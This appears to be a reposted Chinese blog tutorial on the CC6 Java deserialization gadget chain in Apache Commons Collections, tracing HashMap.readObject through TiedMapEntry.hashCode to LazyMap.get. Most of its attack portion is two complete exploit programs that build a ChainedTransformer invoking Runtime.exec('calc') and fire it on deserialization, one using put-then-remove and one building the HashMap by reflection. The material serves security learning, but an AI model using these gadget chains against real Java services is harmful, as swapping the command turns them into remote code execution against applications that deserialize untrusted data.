【Web】Java反序列化之CC6--HashMap版

2024-02-29 19:04
文章标签 java web hashmap 序列化 cc6

本文主要是介绍【Web】Java反序列化之CC6--HashMap版,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前文:

【Web】Java反序列化之再看CC1--LazyMap

上面这篇文章提到,只要调用的LazyMap的get方法,就可以最终完成transform的调用。

在高版本下,CC1不再能打通,CC6依然通用,其反序列化入口不再是AnnotationInvocationHandler,而是HashMap

HashMap的readObject方法,最后调用了hash(key)

其实这里师傅们应该很熟悉,和URLDNS链的入口一样

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt();                // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}

跟进hash(key)最后调用了key.hashCode()

static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

接下来我们只要找到能被利用的hashCode方法即可

找到了TiedMapEntry(tme)

它的初始化方法是传一个map,传一个key

  public TiedMapEntry(Map map, Object key) {this.map = map;this.key = key;}

其hashCode方法调用了getValue方法

 public int hashCode() {Object value = this.getValue();return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());}

getValue方法调用了传入的map的get方法去找传入的key,我们只要传入一个LazyMap就可以完成攻击链的构造 (前提是传入的key在LazyMap的HashMap里不能找到对应的value,否则因为懒加载机制,后续不能调用LazyMap中传入的map.transform)

public Object getValue() {return this.map.get(this.key);}

 LazyMap方法的get方法:

 public Object get(Object key) {if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;} else {return this.map.get(key);}}

而需要注意的是:

法一:HashMap put配合remove

构造入口的HashMap在put(tme,'xxx')时会调用传入的keyTiedMapEntry的hashCode方法

public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}

从而让LazyMap的get方法在反序列化前已经被调用了一次,也就是此时LazyMap中的HashMap里已经已经存在了这样一组键值对:key=>transform('key')

if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;}

那么再反序列化时再次走到LazyMap的get方法时,此时LazyMap的HashMap中已经有了'key'与对应的value,因为懒加载机制,不会去调用factory.transform方法,而是直接返回value的值。

else {return this.map.get(key);}

 这样达不到反序列化攻击的效果,所以我们必须在入口HashMap调用put(tme,'value')后删除掉LazyMap中HashMap已经存在的KV对。

因为LazyMap是抽象类AbstractMapDecorator的具体实现,而remove方法没有重载,就直接extends了抽象类的remove方法,这个remove方法的意思是删除LazyMap中HashMap的一组KV对,可以达到我们的目的。

public Object remove(Object key) {return this.map.remove(key);}

再经过一些细微的调整,便能构造exp:

package com.CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[] {newConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, newObject[0] }),new InvokerTransformer("exec", new Class[] { String.class},new String[] { "calc.exe" }),new ConstantTransformer(1),};Transformer transformerChain = newChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMapMap innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.remove("keykey");Field f =ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();
// 本地测试触发System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}

 

法二:反射构造HashMap绕过put

exp:

package com.CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {public static void main(String[] args) throwsException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};Transformer transformerChain = new ChainedTransformer(transformers);Map map = new HashMap();Map lazyMap = LazyMap.decorate(map, transformerChain);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "x");Map expMap = makeMap(tiedMapEntry, "xxx");System.out.println("No calculator Pop :)");Thread.sleep(5000);ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(expMap);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));ois.readObject();}public static Map makeMap(Object key, Object value) throws Exception {HashMap<Object, Object> map = new HashMap<>();// 设置size为1setFieldValue(map, "size", 1);// 构造NodeClass<?> nodeClazz = Class.forName("java.util.HashMap$Node");Constructor<?> nodeCons = nodeClazz.getDeclaredConstructor(int.class, Object.class, Object.class, nodeClazz);nodeCons.setAccessible(true);Object node = nodeCons.newInstance(0, key, value, null);// 构造tablesObject tbl = Array.newInstance(nodeClazz, 1);Array.set(tbl, 0, node);setFieldValue(map, "table", tbl);return map;}public static void setFieldValue(Object obj,String name, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}
}

这篇关于【Web】Java反序列化之CC6--HashMap版的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/759755

相关文章

Spring Boot整合Redis注解实现增删改查功能(Redis注解使用)

《SpringBoot整合Redis注解实现增删改查功能(Redis注解使用)》文章介绍了如何使用SpringBoot整合Redis注解实现增删改查功能,包括配置、实体类、Repository、Se... 目录配置Redis连接定义实体类创建Repository接口增删改查操作示例插入数据查询数据删除数据更

Java Lettuce 客户端入门到生产的实现步骤

《JavaLettuce客户端入门到生产的实现步骤》本文主要介绍了JavaLettuce客户端入门到生产的实现步骤,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要... 目录1 安装依赖MavenGradle2 最小化连接示例3 核心特性速览4 生产环境配置建议5 常见问题

Java使用Swing生成一个最大公约数计算器

《Java使用Swing生成一个最大公约数计算器》这篇文章主要为大家详细介绍了Java使用Swing生成一个最大公约数计算器的相关知识,文中的示例代码讲解详细,感兴趣的小伙伴可以了解一下... 目录第一步:利用欧几里得算法计算最大公约数欧几里得算法的证明情形 1:b=0情形 2:b>0完成相关代码第二步:加

Java 的ArrayList集合底层实现与最佳实践

《Java的ArrayList集合底层实现与最佳实践》本文主要介绍了Java的ArrayList集合类的核心概念、底层实现、关键成员变量、初始化机制、容量演变、扩容机制、性能分析、核心方法源码解析、... 目录1. 核心概念与底层实现1.1 ArrayList 的本质1.1.1 底层数据结构JDK 1.7

Java Map排序如何按照值按照键排序

《JavaMap排序如何按照值按照键排序》该文章主要介绍Java中三种Map(HashMap、LinkedHashMap、TreeMap)的默认排序行为及实现按键排序和按值排序的方法,每种方法结合实... 目录一、先理清 3 种 Map 的默认排序行为二、按「键」排序的实现方式1. 方式 1:用 TreeM

Java中流式并行操作parallelStream的原理和使用方法

《Java中流式并行操作parallelStream的原理和使用方法》本文详细介绍了Java中的并行流(parallelStream)的原理、正确使用方法以及在实际业务中的应用案例,并指出在使用并行流... 目录Java中流式并行操作parallelStream0. 问题的产生1. 什么是parallelS

Java中Redisson 的原理深度解析

《Java中Redisson的原理深度解析》Redisson是一个高性能的Redis客户端,它通过将Redis数据结构映射为Java对象和分布式对象,实现了在Java应用中方便地使用Redis,本文... 目录前言一、核心设计理念二、核心架构与通信层1. 基于 Netty 的异步非阻塞通信2. 编解码器三、

SpringBoot基于注解实现数据库字段回填的完整方案

《SpringBoot基于注解实现数据库字段回填的完整方案》这篇文章主要为大家详细介绍了SpringBoot如何基于注解实现数据库字段回填的相关方法,文中的示例代码讲解详细,感兴趣的小伙伴可以了解... 目录数据库表pom.XMLRelationFieldRelationFieldMapping基础的一些代

一篇文章彻底搞懂macOS如何决定java环境

《一篇文章彻底搞懂macOS如何决定java环境》MacOS作为一个功能强大的操作系统,为开发者提供了丰富的开发工具和框架,下面:本文主要介绍macOS如何决定java环境的相关资料,文中通过代码... 目录方法一:使用 which命令方法二:使用 Java_home工具(Apple 官方推荐)那问题来了,

Java HashMap的底层实现原理深度解析

《JavaHashMap的底层实现原理深度解析》HashMap基于数组+链表+红黑树结构,通过哈希算法和扩容机制优化性能,负载因子与树化阈值平衡效率,是Java开发必备的高效数据结构,本文给大家介绍... 目录一、概述:HashMap的宏观结构二、核心数据结构解析1. 数组(桶数组)2. 链表节点(Node